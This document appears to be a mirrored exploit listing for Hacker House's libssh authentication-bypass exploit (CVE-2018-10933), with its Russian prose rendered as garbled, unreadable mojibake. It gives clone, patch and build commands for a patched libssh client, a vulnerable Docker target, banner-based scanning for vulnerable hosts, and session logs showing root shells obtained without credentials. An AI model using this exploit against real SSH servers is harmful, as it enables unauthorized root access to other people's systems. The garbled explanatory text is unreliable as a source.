## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-HACKERHOUSE-OPENSOURCE-CVE-2018-10933
# CVE-2018-10933
ΠΠ±Ρ
ΠΎΠ΄ Π°ΡΡΠ΅Π½ΡΠΈΡΠΈΠΊΠ°ΡΠΈΠΈ libssh CVE-2018-10933 β ΡΡΠ·Π²ΠΈΠΌΡΠΉ Docker-ΠΊΠΎΠ½ΡΠ΅ΠΉΠ½Π΅Ρ, ΠΏΡΠΎΡΠ»ΡΡΠΈΠ²Π°ΡΡΠΈΠΉ ΠΏΠΎΡΡ 2222 Π΄Π»Ρ ΡΠΊΡΠΏΠ»ΡΠ°ΡΠ°ΡΠΈΠΈ. Π ΠΊΠΎΠ½ΡΠ΅ΠΉΠ½Π΅Ρ Π²ΠΊΠ»ΡΡΡΠ½ Π±Π°Π·ΠΎΠ²ΡΠΉ proof-of-concept ΠΏΠ°ΡΡ libssh Π΄Π»Ρ ΠΎΠ±Ρ
ΠΎΠ΄Π° Π°ΡΡΠ΅Π½ΡΠΈΡΠΈΠΊΠ°ΡΠΈΠΈ. ΠΠ»Ρ Π²Ρ
ΠΎΠ΄Π° ΠΈΡΠΏΠΎΠ»ΡΠ·ΡΠΉΡΠ΅ ΡΡΡΡΠ½ΡΠ΅ Π΄Π°Π½Π½ΡΠ΅ ΠΏΠΎ ΡΠΌΠΎΠ»ΡΠ°Π½ΠΈΡ "myuser" / "mypassword" ΠΈΠ· libssh. ΠΠ°ΡΡ ΠΏΡΠΈΠΌΠ΅Π½ΡΠ΅ΡΡΡ ΠΊ ΠΊΠΎΠΏΠΈΠΈ libssh Π² Docker-ΠΊΠΎΠ½ΡΠ΅ΠΉΠ½Π΅ΡΠ΅, ΠΊΠΎΡΠΎΡΡΠΉ Π²Π½Π΅Π΄ΡΡΠ΅Ρ ΠΏΠ°ΠΊΠ΅Ρ SSH2_MSG_USERAUTH_SUCCESS ΠΏΡΠΈ Π»ΡΠ±ΠΎΠΉ ΠΏΠΎΠΏΡΡΠΊΠ΅ Π°ΡΡΠ΅Π½ΡΠΈΡΠΈΠΊΠ°ΡΠΈΠΈ (keyboard-interactive / pubkey / gss-api ΠΈ Ρ.Π΄.) ΠΈ ΠΏΠ΅ΡΠ΅Π²ΠΎΠ΄ΠΈΡ ΡΠΎΡΡΠΎΡΠ½ΠΈΠ΅ ΠΊΠ»ΠΈΠ΅Π½ΡΡΠΊΠΎΠΉ ΡΡΠΎΡΠΎΠ½Ρ Π² ΡΠ΅ΠΆΠΈΠΌ ΠΏΡΠΎΠ΄ΠΎΠ»ΠΆΠ΅Π½ΠΈΡ. ΠΠΊΠ»ΡΡΡΠ½Π½ΡΠΉ ΡΠ΅ΡΠ²Π΅Ρ ΠΏΡΠΎΠΏΠ°ΡΡΠ΅Π½ Π½Π° ΠΎΡΠ½ΠΎΠ²Π΅ ΠΏΡΠΈΠΌΠ΅ΡΠΎΠ² ΠΊΠΎΠ΄Π°, ΡΡΠΎΠ±Ρ ΡΠΊΡΠΏΠ»ΡΠ°ΡΠ°ΡΠΈΡ ΠΏΡΠΎΡ
ΠΎΠ΄ΠΈΠ»Π° ΡΡΠΏΠ΅ΡΠ½ΠΎ.
root@kitploit:~
./build.sh
./run.sh
ssh -l myuser -p 2222 localhost
ΠΡΠΎΠΏΠ°ΡΡΠ΅Π½Π½ΡΠΉ exploit-libssh-0.8.3 ΠΈ ΡΡΠ·Π²ΠΈΠΌΡΠΉ sshd Π΄ΠΎΡΡΡΠΏΠ½Ρ Π² ΠΊΠΎΠ½ΡΠ΅ΠΉΠ½Π΅ΡΠ΅ Π΄Π»Ρ ΡΠ΅Π»Π΅ΠΉ ΡΠ΅ΡΡΠΈΡΠΎΠ²Π°Π½ΠΈΡ. "ssh-client" ΡΡΠΏΠ΅ΡΠ½ΠΎ ΠΎΠ±Ρ
ΠΎΠ΄ΠΈΡ Π°ΡΡΠ΅Π½ΡΠΈΡΠΈΠΊΠ°ΡΠΈΡ, Π½ΠΎ Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ Π·Π°ΠΏΡΡΡΠΈΡΡ ΠΎΠ±ΠΎΠ»ΠΎΡΠΊΡ Π½Π° ΡΠ΅ΡΠ²Π΅ΡΠ΅ ΠΈΠ· ΠΏΡΠΈΠΌΠ΅ΡΠ° ΠΏΠΎ ΡΠΌΠΎΠ»ΡΠ°Π½ΠΈΡ ΠΈΠ·-Π·Π° Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡΠ΅Π»ΡΠ½ΡΡ
ΠΏΡΠΎΠ²Π΅ΡΠΎΠΊ Π°ΡΡΠ΅Π½ΡΠΈΡΠΈΠΊΠ°ΡΠΈΠΈ Π² ΠΊΠΎΠ΄Π΅ ΡΠ΅ΡΠ²Π΅ΡΠ°.
root@kitploit:~
[root@305b48cb932e ]# cd /root/exploit-libssh-0.8.3/build/examples
[root@305b48cb932e examples]# ./ssh-client -l root 127.0.0.1
The server is unknown. Do you trust the host key (yes/no)?
SHA256:Mg6j2yHWMsRe56ABhAYjLIJK9yD2N3lGQAl3EfGqP7w
yes
This new key will be written on disk for further usage. do you agree ?
yes
Requesting shell : Channel request shell failed
[root@305b48cb932e examples]#
ΠΠ· advisory: "Π²ΡΠ΅Π΄ΠΎΠ½ΠΎΡΠ½ΡΠΉ ΠΊΠ»ΠΈΠ΅Π½Ρ ΠΌΠΎΠΆΠ΅Ρ ΡΠΎΠ·Π΄Π°Π²Π°ΡΡ ΠΊΠ°Π½Π°Π»Ρ Π±Π΅Π· ΠΏΡΠ΅Π΄Π²Π°ΡΠΈΡΠ΅Π»ΡΠ½ΠΎΠΉ Π°ΡΡΠ΅Π½ΡΠΈΡΠΈΠΊΠ°ΡΠΈΠΈ, ΡΡΠΎ ΠΏΡΠΈΠ²ΠΎΠ΄ΠΈΡ ΠΊ Π½Π΅ΡΠ°Π½ΠΊΡΠΈΠΎΠ½ΠΈΡΠΎΠ²Π°Π½Π½ΠΎΠΌΡ Π΄ΠΎΡΡΡΠΏΡ".
Π‘Π»Π΅Π΄ΡΡΡΠΈΠΉ ΠΎΡΠ»Π°Π΄ΠΎΡΠ½ΡΠΉ Π²ΡΠ²ΠΎΠ΄ libssh ΠΏΠΎΠΊΠ°Π·ΡΠ²Π°Π΅Ρ, ΡΡΠΎ Π°ΡΡΠ΅Π½ΡΠΈΡΠΈΠΊΠ°ΡΠΈΡ Π½Π° ΡΠ΅ΡΠ²Π΅ΡΠ΅ ΠΏΡΠΎΡΠ»Π° ΡΡΠΏΠ΅ΡΠ½ΠΎ ΠΈ ΡΠ΅Π°Π½ΡΠΎΠ²ΡΠΉ ΠΊΠ°Π½Π°Π» ΡΠΎΠ·Π΄Π°Π½. Π£Π·Π΅Π» ΡΠ΅ΠΏΠ΅ΡΡ Π°ΡΡΠ΅Π½ΡΠΈΡΠΈΡΠΈΡΠΎΠ²Π°Π½, Π½ΠΎ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡΠ΅Π»ΡΠ½ΡΠ΅ ΠΏΡΠΎΠ²Π΅ΡΠΊΠΈ Π½Π° ΡΡΠΎΡΠΎΠ½Π΅ ΡΠ΅ΡΠ²Π΅ΡΠ° ΠΏΡΠ΅ΠΏΡΡΡΡΠ²ΡΡΡ Π²ΡΠΏΠΎΠ»Π½Π΅Π½ΠΈΡ ΠΊΠΎΠΌΠ°Π½Π΄. ΠΡΠ°ΠΊΡΡΡΠΈΠΉ Π²ΡΡ Π΅ΡΡ ΠΌΠΎΠΆΠ΅Ρ ΠΏΠΎΠΏΡΡΠ°ΡΡΡΡ ΡΡΠ½Π½Π΅Π»ΠΈΡΠΎΠ²Π°ΡΡ/ΠΏΡΠΎΠΊΡΠΈΡΠΎΠ²Π°ΡΡ ΡΠΎΠ΅Π΄ΠΈΠ½Π΅Π½ΠΈΡ ΡΠ΅ΡΠ΅Π· ΡΠ΅ΡΠ²ΠΈΡ.
root@kitploit:~
[2018/10/19 01:26:24.929187, 3] ssh_packet_process: Dispatching handler for packet type 52
[2018/10/19 01:26:24.929228, 3] ssh_packet_userauth_success: Authentication successful
[2018/10/19 01:26:24.971901, 3] ssh_packet_socket_callback: packet: read type 90 [len=44,padding=19,comp=24,payload=24]
[2018/10/19 01:26:24.971984, 3] ssh_packet_process: Dispatching handler for packet type 90
[2018/10/19 01:26:24.972012, 3] ssh_packet_channel_open: Clients wants to open a session channel
[2018/10/19 01:26:24.972057, 3] ssh_message_channel_request_open_reply_accept_channel: Accepting a channel request_open for chan 43
[2018/10/19 01:26:24.972193, 3] ssh_socket_unbuffered_write: Enabling POLLOUT for socket
[2018/10/19 01:26:24.972233, 3] packet_send2: packet: wrote [len=28,padding=10,comp=17,payload=17]
ΠΠΎΠΏΡΡΠΊΠΈ Π·Π°ΠΏΡΡΡΠΈΡΡ ΠΎΠ±ΠΎΠ»ΠΎΡΠΊΠΈ / exec ΠΈΠ»ΠΈ pty ΠΏΡΠΈΠ²ΠΎΠ΄ΡΡ ΠΊ ΡΡΠΏΠ΅ΡΠ½ΠΎΠΌΡ ΡΠ΅Π°Π½ΡΡ, Π½ΠΎ Π²ΡΠ·ΡΠ²Π°ΡΡ ΠΎΡΠΈΠ±ΠΊΠΈ Π½Π° ΠΏΡΠΈΠΌΠ΅ΡΠ΅ ΡΠ΅ΡΠ²Π΅ΡΠ° ΠΈΠ·-Π·Π° Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡΠ΅Π»ΡΠ½ΡΡ
ΠΏΡΠΎΠ²Π΅ΡΠΎΠΊ ΡΠΎΡΡΠΎΡΠ½ΠΈΡ Π°ΡΡΠ΅Π½ΡΠΈΡΠΈΠΊΠ°ΡΠΈΠΈ ΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΠ΅Π»Ρ. ΠΠΈΠΆΠ΅ ΠΏΠΎΠΊΠ°Π·Π°Π½Ρ ΠΎΡΠΈΠ±ΠΊΠΈ, Π²ΡΠ²ΠΎΠ΄ΠΈΠΌΡΠ΅ Π½Π° ΠΏΡΠΈΠΌΠ΅ΡΠ΅ ΡΠ΅ΡΠ²Π΅ΡΠ°.
root@kitploit:~
[2018/10/19 03:33:56.539864, 3] ssh_message_handle_channel_request: Received a shell channel_request for channel (43:0) (want_reply=1)
[2018/10/19 03:33:56.539899, 3] ssh_message_channel_request_reply_default: Sending a default channel_request denied to channel 0
ΠΠ»Ρ ΡΠΏΠ΅ΡΠΈΠ°Π»ΠΈΠ·ΠΈΡΠΎΠ²Π°Π½Π½ΡΡ
ΡΠ΅ΡΠ²Π΅ΡΠΎΠ² libssh Π²ΡΡ Π΅ΡΡ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½Π° ΠΏΠΎΡΠ΅Π½ΡΠΈΠ°Π»ΡΠ½Π°Ρ ΡΠ΅Π°Π»ΠΈΠ·Π°ΡΠΈΡ ΠΏΡΠΎΠΈΠ·Π²ΠΎΠ»ΡΠ½ΠΎΠ³ΠΎ ΠΊΠΎΠ΄Π°, Π½ΠΎ Π±ΠΎΠ»ΡΡΠΈΠ½ΡΡΠ²ΠΎ ΠΈΠ· Π½ΠΈΡ
ΠΌΠΎΠ³ΡΡ Π΄ΠΎΠΏΡΡΠΊΠ°ΡΡ ΡΠΎΠ»ΡΠΊΠΎ ΡΡΠ½Π½Π΅Π»ΠΈΡΠΎΠ²Π°Π½ΠΈΠ΅ ΠΈΠ»ΠΈ ΠΈΠ½ΠΎΠ΅ Π·Π»ΠΎΡΠΏΠΎΡΡΠ΅Π±Π»Π΅Π½ΠΈΠ΅ ΠΏΡΠΎΡΠΎΠΊΠΎΠ»ΠΎΠΌ SSH. Π£Π΄Π°Π»ΠΈΠ² Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡΠ΅Π»ΡΠ½ΡΡ ΠΏΡΠΎΠ²Π΅ΡΠΊΡ Π°ΡΡΠ΅Π½ΡΠΈΡΠΈΠΊΠ°ΡΠΈΠΈ, ΡΠ΅ΡΠ²Π΅Ρ ΡΡΠ°Π½ΠΎΠ²ΠΈΡΡΡ ΡΡΠ·Π²ΠΈΠΌΡΠΌ ΠΊ ΡΠΊΡΠΏΠ»ΠΎΠΉΡΡ ΠΎΠ±Ρ
ΠΎΠ΄Π° Π°ΡΡΠ΅Π½ΡΠΈΡΠΈΠΊΠ°ΡΠΈΠΈ. Π‘Π΅ΡΠ²Π΅ΡΠ½Π°Ρ ΡΠ΅Π°Π»ΠΈΠ·Π°ΡΠΈΡ libssh ΠΌΠΎΠΆΠ΅Ρ Π²Π½Π΅ΡΡΠΈ ΡΡΡ ΡΡΠ·Π²ΠΈΠΌΠΎΡΡΡ. ΠΡΠΈΠΌΠ΅Ρ ΡΡΠΏΠ΅ΡΠ½ΠΎΠΉ ΡΠΊΡΠΏΠ»ΡΠ°ΡΠ°ΡΠΈΠΈ Ρ ΠΈΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°Π½ΠΈΠ΅ΠΌ ΠΏΡΠΎΠΏΠ°ΡΡΠ΅Π½Π½ΠΎΠ³ΠΎ libssh Π½ΠΈΠΆΠ΅.
root@kitploit:~
[root@3a184714fd21]# cd /root/exploit-libssh-0.8.3/build/examples
[root@3a184714fd21 examples]# ./ssh-client -l root 127.0.0.1
The server is unknown. Do you trust the host key (yes/no)?
SHA256:DyYf8l6tjNc0kyUe5uE/Rt8vHI1SuhsVGbzOonzPlaY
yes
This new key will be written on disk for further usage. do you agree ?
yes
[root@3a184714fd21 /]# id
uid=0(root) gid=0(root) groups=0(root)
Docker-ΠΊΠΎΠ½ΡΠ΅ΠΉΠ½Π΅Ρ ΠΏΠΎ ΡΠΌΠΎΠ»ΡΠ°Π½ΠΈΡ Π·Π°ΠΏΡΡΠΊΠ°Π΅Ρ ΡΡΠ·Π²ΠΈΠΌΡΠΉ ΠΏΡΠΈΠΌΠ΅Ρ "ssh_server_fork", ΠΎΡΠΈΠ³ΠΈΠ½Π°Π» ΠΌΠΎΠΆΠ½ΠΎ Π½Π°ΠΉΡΠΈ Π² ΠΊΠ°ΡΠ°Π»ΠΎΠ³Π΅ "libssh-0.8.3" Π΄Π»Ρ ΡΠ΅Π»Π΅ΠΉ ΡΠ΅ΡΡΠΈΡΠΎΠ²Π°Π½ΠΈΡ/ΠΎΡΠ»Π°Π΄ΠΊΠΈ.
# ΠΠ°ΡΡΠΎΠ½ΡΡΡΠ΅ ΠΏΠΎΡΡΠ°Π²ΡΠΈΠΊΠΈ
Π‘Π»Π΅Π΄ΡΡΡΠΈΠ΅ ΠΏΠΎΡΡΠ°Π²ΡΠΈΠΊΠΈ ΠΏΡΠ°ΠΊΡΠΈΡΠ΅ΡΠΊΠΈ Π·Π°ΡΡΠΎΠ½ΡΡΡ ΡΡΠΎΠΉ ΠΎΡΠΈΠ±ΠΊΠΎΠΉ ΠΈΠ·-Π·Π° ΠΈΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°Π½ΠΈΡ libssh.
* F5 https://support.f5.com/csp/article/K52868493
* Redhat https://access.redhat.com/security/cve/cve-2018-10933
libssh ΡΡΡΠ°Π½ΠΎΠ²Π»Π΅Π½ Π»ΠΎΠΊΠ°Π»ΡΠ½ΠΎ Π½Π° ΡΡΠ΄Π΅ Π΄ΠΈΡΡΡΠΈΠ±ΡΡΠΈΠ²ΠΎΠ² *BSD ΠΈ Linux, Π° ΡΠ°ΠΊΠΆΠ΅ ΠΈΡΠΏΠΎΠ»ΡΠ·ΡΠ΅ΡΡΡ ffmpeg (?), hydra ΠΈ Π½Π΅Π±ΠΎΠ»ΡΡΠΈΠΌ ΡΠΈΡΠ»ΠΎΠΌ ΠΏΠ°ΠΊΠ΅ΡΠΎΠ² FOSS.
# ΠΠΊΡΠΏΠ»ΠΎΠΉΡ
ΠΡ ΠΌΠΎΠΆΠ΅ΡΠ΅ ΡΠΎΠ±ΡΠ°ΡΡ ΠΏΡΠΎΠΏΠ°ΡΡΠ΅Π½Π½ΡΠΉ ΠΊΠ»ΠΈΠ΅Π½Ρ libssh ΠΈΠ· ΡΡΠΎΠ³ΠΎ ΡΠ΅ΠΏΠΎΠ·ΠΈΡΠΎΡΠΈΡ Π΄Π»Ρ ΠΈΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°Π½ΠΈΡ Π² ΡΠΊΡΠΏΠ»ΡΠ°ΡΠ°ΡΠΈΠΈ.
root@kitploit:~
git clone https://github.com/hackerhouse-opensource/cve-2018-10933
cd cve-2018-10933
xz -d libssh-0.8.3.tar.xz
tar -xvf libssh-0.8.3.tar
cd libssh-0.8.3
patch -p0 < ../cve-2018-10933.patch
mkdir build
cd build
cmake ..
make
ΠΠ°ΡΠ΅ΠΌ Π²Ρ ΠΌΠΎΠΆΠ΅ΡΠ΅ ΠΈΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΡ "ssh-client" ΠΈ Π»ΡΠ±ΡΠ΅ ΠΏΡΠΈΠΌΠ΅ΡΡ Π΄Π»Ρ ΠΎΠ±Ρ
ΠΎΠ΄Π° Π°ΡΡΠ΅Π½ΡΠΈΡΠΈΠΊΠ°ΡΠΈΠΈ Π½Π° Π·Π°ΡΡΠΎΠ½ΡΡΡΡ
ΡΠ΅ΡΠ²Π΅ΡΠ½ΡΡ
ΡΠ΅Π°Π»ΠΈΠ·Π°ΡΠΈΡΡ
libssh.
root@kitploit:~
$ ./ssh-client -l root 127.0.0.1 -p 2222
[root@8fec78903da2 /]# id
uid=0(root) gid=0(root) groups=0(root)
# ΠΠ΄Π΅Π½ΡΠΈΡΠΈΠΊΠ°ΡΠΈΡ
Π‘ΠΊΠ°Π½ΠΈΡΠΎΠ²Π°Π½ΠΈΠ΅ ΠΏΠΎΡΠ΅Π½ΡΠΈΠ°Π»ΡΠ½ΠΎ ΡΡΠ·Π²ΠΈΠΌΡΡ
Ρ
ΠΎΡΡΠΎΠ² ΠΌΠΎΠΆΠ΅Ρ Π²ΡΠΏΠΎΠ»Π½ΡΡΡΡΡ ΠΏΡΡΡΠΌ ΠΎΠ±ΡΡΠ½ΠΎΠ³ΠΎ Π·Π°Ρ
Π²Π°ΡΠ° Π±Π°Π½Π½Π΅ΡΠΎΠ² Π½Π° Π·Π°ΡΡΠΎΠ½ΡΡΡΡ
SSH-ΠΏΠΎΡΡΠ°Ρ
(Π½Π°ΠΏΡΠΈΠΌΠ΅Ρ, nmap).
root@kitploit:~
SSH-2.0-libssh_0.8.3
# ΠΠ»Π°Π³ΠΎΠ΄Π°ΡΠ½ΠΎΡΡΠΈ
ΠΡΠΈΠ³ΠΈΠ½Π°Π»ΡΠ½ΠΎΠ΅ ΡΠ²Π΅Π΄ΠΎΠΌΠ»Π΅Π½ΠΈΠ΅ Π½Π°Ρ
ΠΎΠ΄ΠΈΡΡΡ Π² CVE-2018-10933.txt, ΡΡΠ·Π²ΠΈΠΌΠΎΡΡΡ ΠΎΠ±Π½Π°ΡΡΠΆΠ΅Π½Π° ΠΠΈΡΠ΅ΡΠΎΠΌ Π£ΠΈΠ½ΡΠ΅ΡΠΎΠΌ Π‘ΠΌΠΈΡΠΎΠΌ. Π£ΡΠ·Π²ΠΈΠΌΡΠΉ Docker ΠΈ ΡΠΊΡΠΏΠ»ΠΎΠΉΡ-ΠΏΠ°ΡΡ libssh Π²ΡΠΏΡΡΠ΅Π½Ρ Hacker House (https://hacker.house).
# ΠΠΈΡΠ΅Π½Π·ΠΈΡ
ΠΡΠΈ ΡΠ°ΠΉΠ»Ρ Π΄ΠΎΡΡΡΠΏΠ½Ρ Π½Π° ΡΡΠ»ΠΎΠ²ΠΈΡΡ
Π»ΠΈΡΠ΅Π½Π·ΠΈΠΈ BSD Ρ 3 ΠΏΡΠ½ΠΊΡΠ°ΠΌΠΈ.